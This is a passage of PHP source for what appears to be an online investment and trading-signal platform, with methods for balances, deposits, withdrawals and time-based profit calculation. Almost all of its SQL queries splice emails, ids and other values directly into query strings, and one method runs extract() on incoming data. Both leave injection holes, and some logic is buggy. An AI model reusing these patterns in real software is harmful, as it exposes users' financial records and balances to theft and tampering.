        $write_cmd = "SELECT * FROM investment WHERE investor_email = '$email' AND trade_status = 'active' ORDER BY date_reg DESC"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
                 $get_all_id = [];
             while($all_data = $query_cmd->fetch_assoc()){
                    array_push($get_all_id, $all_data);
             }
             return $get_all_id;
            }else{
             return false;
         }
    }
    public function getActiveTrades(){
        $write_cmd = "SELECT * FROM investment WHERE investor_email = '$this->email' AND trade_status = 'active' ORDER BY date_reg DESC"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
                 $get_all_id = [];
             while($all_data = $query_cmd->fetch_assoc()){
                    array_push($get_all_id, $all_data);
             }
             return $get_all_id;
            }else{
             return false;
         }
    }
    public function calcInitprofit($totalIncome,$totalTimePeriod,$startTimestamp){
        $currentTimestamp = date('Y-m-d H:i:s');
        $startTime = strtotime($startTimestamp);
        $currentTime = strtotime($currentTimestamp);
        $elapsedTime = ($currentTime - $startTime) / 60; 
        if ($elapsedTime > $totalTimePeriod) {
            $elapsedTime = $totalTimePeriod; 
        }
        $incomePerMinute = $totalIncome / $totalTimePeriod;
        $incomeEarnedSoFar = $incomePerMinute * $elapsedTime;
        return $incomeEarnedSoFar;
    }
    public function calcTimeRemaining($totalTimePeriod, $startTimestamp) {
        $currentTimestamp = date('Y-m-d H:i:s');
        $startTime = strtotime($startTimestamp);
        $currentTime = strtotime($currentTimestamp);
    
        // Calculate elapsed time in minutes
        $elapsedTime = ($currentTime - $startTime) / 60; 
    
        // Ensure elapsed time does not exceed the total time period
        if ($elapsedTime > $totalTimePeriod) {
            $elapsedTime = $totalTimePeriod; 
        }
    
        // Calculate remaining time by subtracting elapsed time from the total period
        $remainingTime = $totalTimePeriod - $elapsedTime;
    
        return ($remainingTime === 0)?0.1:$remainingTime;
    }
    

    public function getJSONActiveTrade(){
        $write_cmd = "SELECT * FROM investment WHERE investor_email = '$this->email' AND trade_status = 'active' ORDER BY date_reg DESC";
        $query_cmd = $this->tocxn->query($write_cmd);
        $tradeArr = []; 
        $finalArr = []; 
        if($query_cmd){
            if($query_cmd->num_rows > 0){
            while($all_data = $query_cmd->fetch_assoc()){
                array_push($tradeArr, $all_data);
            }
            foreach($tradeArr as $justTtrade){
                $signal_pair = $justTtrade['trading_pairs'];
                $signal_time = $justTtrade['investment_time'];
                $signal_type = $justTtrade['trade_type'];
                $signal_result = $justTtrade['trade_result'];
                
            
        $write_cmd = "SELECT * FROM trade_signals WHERE signal_pair = '$signal_pair' AND signal_time = '$signal_time' AND signal_type = '$signal_type'";
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            $all_datax = $query_cmd->fetch_assoc();
            if($query_cmd->num_rows > 0){
                $signal_percentage = $all_datax['signal_percentage'];
                array_push($finalArr,['tradeId' => $justTtrade['investment_id'], 'initialProfit'=>$this->calcInitprofit($justTtrade['invest_amount']*($signal_percentage/100),$signal_time, $justTtrade['starting_date']), 'targetProfit'=>$justTtrade['invest_amount']*($signal_percentage/100), 'totalMinutes'=> $this->calcTimeRemaining($signal_time,$justTtrade['starting_date']), 'allowDecrement'=>true]);
            } else{

                array_push($finalArr,['tradeId' => $justTtrade['investment_id'], 'initialProfit'=>-$this->calcInitprofit($justTtrade['invest_amount']*(100/100),$signal_time, $justTtrade['starting_date']), 'targetProfit'=>-$justTtrade['invest_amount'], 'totalMinutes'=> $this->calcTimeRemaining($signal_time,$justTtrade['starting_date']), 'allowDecrement'=>true]);
            }
             }
             } 
            }
        }
        return $finalArr;
    }
    public function get_currencyx($symbol = false,$name = false,$amount = false,$manucur = false){
        $write_cmd = "SELECT currency FROM admin_access"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         $current_cur = '';
         if($query_cmd){
            $all_data = $query_cmd->fetch_assoc()['currency'];
            if($symbol) return explode('-',$all_data)[1];
            if($name) return explode('-',$all_data)[0];
            if($amount){
if($manucur){
    $current_cur = $manucur;
                if($current_cur == 'BRL' || $current_cur == 'R$'){
                    $amount = intval($amount) * 6;
                  return $current_cur.number_format($amount);  
                }
                return $current_cur.number_format($amount);
            }
            }
            }else{
             return 0;
         }
    }
    public function get_currency($symbol = false,$name = false,$amount = false){
        $email = $_SESSION['customer_email'];
        $write_cmd = "SELECT user_currency FROM new_customer WHERE customer_email = '$email'"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         $current_cur = '';
         if($query_cmd){
            $all_data = $query_cmd->fetch_assoc()['user_currency'];
            if($symbol)  $current_cur = explode('-',$all_data)[1];
            if($name)  $current_cur = explode('-',$all_data)[0];
            if($amount){
                if($current_cur == 'BRL' || $current_cur == 'R$'){
                    $amount = intval($amount) * 6;
                  return $current_cur.number_format($amount);  
                }
                return $current_cur.number_format($amount);
            }
            }else{
             return 0;
         }
    }
    public function withdrawal($email,$invest_id){
        $write_cmd = "SELECT * FROM withdrawal WHERE withdrawal_email = '$email' AND withdrawal_invest_unique = '$invest_id'";
        $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
            if($query_cmd->num_rows > 0){
                return $query_cmd->fetch_assoc()['withdrawal_status'];
            }else{
                return false;
            }
    }
}
    public function get_balancex($email){
        $write_cmd = "SELECT * FROM investment WHERE investor_email = '$email' AND ad_confirm = 'yes' ORDER BY date_reg DESC"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
                 $get_all_id = 0;
             while($all_data = $query_cmd->fetch_assoc()){
                  $get_all_id = $get_all_id + intval(explode('-',$all_data['investment_type'])[0]) + intval($this->calc_ROI($email,$all_data['finished'],$all_data['starting_date'],intval(explode('-',$all_data['investment_type'])[1])));
             }
             return $get_all_id;
            }else{
             return false;
         }
    }
    public function get_balance($email){
        $write_cmd = "SELECT * FROM investment WHERE investor_email = '$email' AND ad_confirm = 'yes' ORDER BY date_reg DESC"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
                 $get_all_id = 0;
             while($all_data = $query_cmd->fetch_assoc()){
                  $get_all_id+= $this->calc_ROI_x($email,$all_data['finished'],$all_data['starting_date'],intval(explode('-',$all_data['investment_type'])[1]));
             }
            //  $this->calc_ROI();
            //  $write_cmd = "SELECT * FROM new_customer WHERE customer_email = '$email'"; 
            //  $query_cmd = $this->tocxn->query($write_cmd);
            //  if($query_cmd){
            //   $wallet_balance = $query_cmd->fetch_assoc()['wallet_balance'];
            //  $get_all_id = $get_all_id + $wallet_balance;
            //  }
            // echo $get_all_id;
             return $get_all_id;
            }else{
             return false;
         }
    }
    public function get_investbalance($email){
        $write_cmd = "SELECT * FROM investment WHERE investor_email = '$email' AND ad_confirm = 'yes' ORDER BY date_reg DESC"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
                 $get_all_id = 0;
             while($all_data = $query_cmd->fetch_assoc()){
                  $get_all_id = $get_all_id + intval(explode('-',$all_data['investment_type'])[1]);
             }
             return $get_all_id;
            }else{
             return false;
         }
    }
    public function get_investbalancex($email){
        $write_cmd = "SELECT * FROM investment WHERE investor_email = '$email' AND ad_confirm = 'yes' ORDER BY date_reg DESC"; 
         $query_cmd = $this->tocxn->query($write_cmd);
         if($query_cmd){
                 $get_all_id = 0;
             while($all_data = $query_cmd->fetch_assoc()){
                  $get_all_id = $get_all_id + intval(explode('-',$all_data['investment_type'])[0]);
             }
             return $get_all_id;
            }else{
             return false;
         }
    }
    public function calc_ROI($email,$finished,$start_date,$roi){
        $curent_date = date('Y-m-d H:i:s');
        $data1 = date_create($start_date);
        $data2 = date_create($curent_date);
        $diff = date_diff($data1, $data2);
        $conv_diff = ((array)$diff);
        if(intval($conv_diff['days']) > 0){ 
            return intval($conv_diff['days']) * $roi;
        }else{
        return 0;
    }
}
    public function calc_ROI_x($email,$finished,$start_date,$roi){
        if($finished == 'true'){
            return $roi;
        }else{
        $curent_date = date('Y-m-d H:i:s');
        $data1 = date_create($start_date);
        $data2 = date_create($curent_date);
        $diff = date_diff($data1, $data2);
        $conv_diff = ((array)$diff);
        // print_r(((array)$diff));
        if(intval($conv_diff['d']) > 0){
            $percent = 100;
            $write_cmd = "UPDATE investment SET finished = 'true' WHERE investor_email = '$email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
        }else{
        $dateused = (intval($diff->format("%h"))*3600) + (intval($diff->format("%i"))*60) + intval($diff->format("%s"));
        $percent = 0;
        if($dateused >= 28800){
            $percent = 100;
            $write_cmd = "UPDATE investment SET finished = 'true' WHERE investor_email = '$email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
        }else{
          $percent = ($dateused/28800)*100; 
        }}
        $total_time = $roi * ($percent/100);
        if($percent == 100){
        return $roi;
        }
        return $total_time;
    }
    }

// $nssist = new assist;
// $nssist->calc_ROI();
// $nssist->calc_ROI('2021-01-26 00:00:00',1000);
// $newplam = '';
// $newplamx = '';
// foreach($nssist->get_plan_list() as $sxnn){
//     $newplam = intval(explode('-',$sxnn)[0]) * 0.4;
//     $newplamx.= explode('-',$sxnn)[0].'-'.$newplam.',';
// }
// echo $newplamx;
public function get_withdraw_m(){
    $write_cmd = "SELECT * FROM withdraw_m WHERE user_email = '$this->email' ORDER BY created_at DESC"; 
     $query_cmd = $this->tocxn->query($write_cmd);
     if($query_cmd){
             $get_all_id = [];
         while($all_data = $query_cmd->fetch_assoc()){
                array_push($get_all_id, $all_data);
         }
         return $get_all_id;
        }else{
         return [];
     }
}
public function add_withdraw_m($data){
        extract($data);
        $withdraw_type = $AddWithdrawM;
        $sendtoData = "INSERT INTO withdraw_m (user_email,withdraw_type,withdraw_data)
        VALUES('$this->email','$withdraw_type','$withdraw_data')";
         $query_cmd = $this->tocxn->query($sendtoData);
        if($query_cmd){
            return "'success', 'New $withdraw_type Wallet Added','method'";
        }else{
            return "'error', 'Unable to add a Wallet','method'";
      }
    }

    public function fund_acct($amount,$email,$TransrandNum){
        $sendtoData = "INSERT INTO funding_history (user_email,amount,payment_status,tran_ref)VALUES('$email','$amount','false','$TransrandNum')";
         $query_cmd = $this->tocxn->query($sendtoData);
        if($query_cmd){
         return true;
        }else{
          return false;
      }
    }
    public function fund_confirmation($email,$unique){
        $write_cmd = "UPDATE funding_history SET payment_status = 'true' WHERE user_email = '$email' AND tran_ref  = '$unique'"; 
         $query_cmd = $this->tocxn->query($write_cmd);
        //  echo ';/;;;;;;;;;;;;;;;;1';
        if($query_cmd){
            $amount = 0;
            $write_cmd = "SELECT * FROM funding_history WHERE user_email = '$email' AND tran_ref  = '$unique'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
                $amount = $query_cmd->fetch_assoc()['amount'];
        //  echo ';;;;;;;;;;;;;;;;;12';

            }
        $write_cmd = "SELECT * FROM new_customer WHERE customer_email = '$email'"; 
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            $qdatall = $query_cmd->fetch_assoc();
        //  echo ';;;;;;;;;;;;;;;;;123';
// echo $amount + $query_cmd->fetch_assoc()['wallet_balance'];
             $wallet_balance = $qdatall['wallet_balance'] + $amount;
             $total_deposit = $qdatall['total_deposit'] + $amount;
            $write_cmd = "UPDATE new_customer SET wallet_balance = '$wallet_balance', total_deposit = '$total_deposit' WHERE customer_email = '$email'"; 
            $query_cmd = $this->tocxn->query($write_cmd);
            if($query_cmd){
        //  echo ';;;;;;;;;;;;;;;;;1234';
                return true;
            }
        }
        }else{
          return false;
      }
    }
    public function get_totalBal($email){
        $write_cmd = "SELECT * FROM new_customer WHERE customer_email = '$email'"; 
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            $wallet_balance = intval($query_cmd->fetch_assoc()['wallet_balance']) + intval($query_cmd->fetch_assoc()['total_profit']);
                return $wallet_balance;
        }else{
          return false;
      }
    }
    public function allhistory($email){
        $allhistory = [];
        $write_cmd = "SELECT * FROM funding_history WHERE user_email = '$email'"; 
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            while($all_data = $query_cmd->fetch_assoc()){
               array_push($allhistory,$all_data);
            }
return $allhistory;
        }else{
          return false;
      }
    }
    public function alldeposit($email){
        $allhistory = [];
        $write_cmd = "SELECT * FROM funding_history WHERE user_email = '$email' AND payment_status = 'true'"; 
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            while($all_data = $query_cmd->fetch_assoc()){
               array_push($allhistory,$all_data);
            }
return $allhistory;
        }else{
          return false;
      }
    }
    public function allpendingdep($email){
        $allhistory = [];
        $write_cmd = "SELECT * FROM funding_history WHERE user_email = '$email' AND payment_status = 'false'"; 
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            while($all_data = $query_cmd->fetch_assoc()){
               array_push($allhistory,$all_data);
            }
return $allhistory;
        }else{
          return false;
      }
    }
    public function allprofits($email){
        $allhistory = [];
        $write_cmd = "SELECT * FROM investment WHERE investor_email = '$email'"; 
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            while($all_data = $query_cmd->fetch_assoc()){
               array_push($allhistory,$all_data);
            }
return $allhistory;
        }else{
          return false;
      }
    }
    public function allwithdrawa($email){
        $allhistory = [];
        $write_cmd = "SELECT * FROM withdrawal WHERE withdrawal_email = '$email' ORDER BY created_at DESC"; 
        $query_cmd = $this->tocxn->query($write_cmd);
        if($query_cmd){
            while($all_data = $query_cmd->fetch_assoc()){
               array_push($allhistory,$all_data);
            }
return $allhistory;
        }else{
          return false;
      }
    }
   public function get_active_investM($investor_email){
    $write_cmd = "SELECT * FROM investment WHERE investor_email = '$investor_email' ORDER BY date_reg DESC";
    $query_cmd = $this->tocxn->query($write_cmd);
    if($query_cmd){
        $all_data = $query_cmd->fetch_assoc();
    return $all_data;
   }else{
       return false;
   }
   } 
   public function updateBalance($amount, $email){
   $write_cmd = "SELECT * FROM new_customer WHERE customer_email = '$email'";
    $query_cmd = $this->tocxn->query($write_cmd);
    if($query_cmd){
        $all_data = $query_cmd->fetch_assoc();
        $wallet_balance = $all_data['wallet_balance'] + $amount;
        $total_profit = $all_data['total_profit'] + $amount;
        if ($amount < 0) {
            $write_cmd = "UPDATE new_customer SET wallet_balance = '$wallet_balance' WHERE customer_email = '$email'"; 
        } else {
            $write_cmd = "UPDATE new_customer SET wallet_balance = '$wallet_balance', total_profit = '$total_profit' WHERE customer_email = '$email'"; 
        }
        
        $query_cmd = $this->tocxn->query($write_cmd);
    }
   }
   public function updateBalanceTrades($amount){
    $write_cmd = "SELECT * FROM new_customer WHERE customer_email = '$this->email'";
     $query_cmd = $this->tocxn->query($write_cmd);
     if($query_cmd){
         $all_data = $query_cmd->fetch_assoc();
         $wallet_balance = $all_data['wallet_balance'] + $amount;
         $total_profit = $all_data['total_profit'] + $amount;
         if ($amount < 0) {
             $write_cmd = "UPDATE new_customer SET wallet_balance = '$wallet_balance' WHERE customer_email = '$this->email'"; 
         } else {
             $write_cmd = "UPDATE new_customer SET total_profit = '$total_profit' WHERE customer_email = '$this->email'"; 
         }
         
         $query_cmd = $this->tocxn->query($write_cmd);
     }
    }

   public function compareSignals($id){
    $write_cmd = "SELECT * FROM investment WHERE investment_id = '$id' ORDER BY date_reg DESC";
    $query_cmd = $this->tocxn->query($write_cmd);
    if($query_cmd){
        $all_data = $query_cmd->fetch_assoc();
        if($query_cmd->num_rows > 0){
            $signal_pair = $all_data['trading_pairs'];
            $signal_time = $all_data['investment_time'];
            $signal_type = $all_data['trade_type'];
            $signal_result = $all_data['trade_result'];
        
    $write_cmd = "SELECT * FROM trade_signals WHERE signal_pair = '$signal_pair' AND signal_time = '$signal_time' AND signal_type = '$signal_type'";
    $query_cmd = $this->tocxn->query($write_cmd);
    if($query_cmd){
        $all_datax = $query_cmd->fetch_assoc();
        if($query_cmd->num_rows > 0){
            $final_amount =  ($all_datax['signal_percentage']/100)*$all_data['invest_amount'];
            $signal_result = $all_datax['signal_result'];
        $write_cmd = "UPDATE investment SET trade_status = 'end', final_amount = '$final_amount', trade_result = '$signal_result' WHERE investment_id = '$id'"; 
        $query_cmd = $this->tocxn->query($write_cmd);
        if($signal_result == 'loss'){
         return  -$final_amount;   
        }else{
         return $final_amount;   
        }
        }
    }
        }
        $final_amount = $all_data['invest_amount'];
        $write_cmd = "UPDATE investment SET trade_status = 'end', final_amount = '$final_amount', trade_result = 'loss' WHERE investment_id = '$id'"; 
        $query_cmd = $this->tocxn->query($write_cmd);
        return  -$final_amount;
   }
   return 0;
}
    public function endTrades(array $ids){
    foreach($ids as $id){
        $this->updateBalanceTrades($this->compareSignals($id));
    }
    

   }
    public function checkTrades($email=null){
    $get_Activeinvestment = $this->get_Activeinvestment($this->email);
    // Date logic
    $keep = [];
    $currentDateTime = date('Y-m-d H:i:s');
    foreach($get_Activeinvestment as $xActiveV){
        $specific_minutes = $xActiveV['investment_time'];
        $futureDateTime = date('Y-m-d H:i:s', strtotime("+".$specific_minutes." minutes", strtotime($xActiveV['starting_date'])));
        if($futureDateTime < $currentDateTime){
           array_push($keep, $xActiveV['investment_id']);
        }
   }
   
   return $this->endTrades($keep);
}
function isFutureDate($start_date, $period) {
    if($period == 0){
        return true;
    }else{
    // Convert start_date from 'dd-mm-yyyy h:i:s' format to DateTime object
    $startDate = DateTime::createFromFormat('Y-m-d H:i:s', $start_date);
    
    if ($startDate === false) {
        // Handle error if date creation fails (e.g., invalid format)
        throw new Exception("Invalid start date format. Please use 'dd-mm-yyyy h:i:s'.");
    }
    
    // Add period days to start_date
    $endDate = $startDate->add(new DateInterval("P{$period}D"));
    
    // Get current date with time set to 00:00:00 for fair comparison
    $currentDate = new DateTime();
    $currentDate->setTime(0, 0, 0);
    
    // Compare endDate with currentDate
    return $endDate > $currentDate;
}}
function daysDifference($date) {
    // Convert the input date from 'dd-mm-yyyy h:i:s' format to DateTime object
    $givenDate = DateTime::createFromFormat('Y-m-d H:i:s', $date);
    
    if ($givenDate === false) {
        // Handle error if date creation fails (e.g., invalid format)
        throw new Exception("Invalid date format. Please use 'dd-mm-yyyy h:i:s'.");
    }
    
    // Set time to midnight (00:00:00) for both given date and current date
    $givenDate->setTime(0, 0, 0);
    $currentDate = new DateTime();
    $currentDate->setTime(0, 0, 0);
    
    // Calculate the difference
    $diff = $currentDate->diff($givenDate);
    
    // Check if the given date is in the past
    if ($givenDate > $currentDate) {
        return 0;
    }
    
    // Return the difference in days
    return (int)$diff->days;
}
}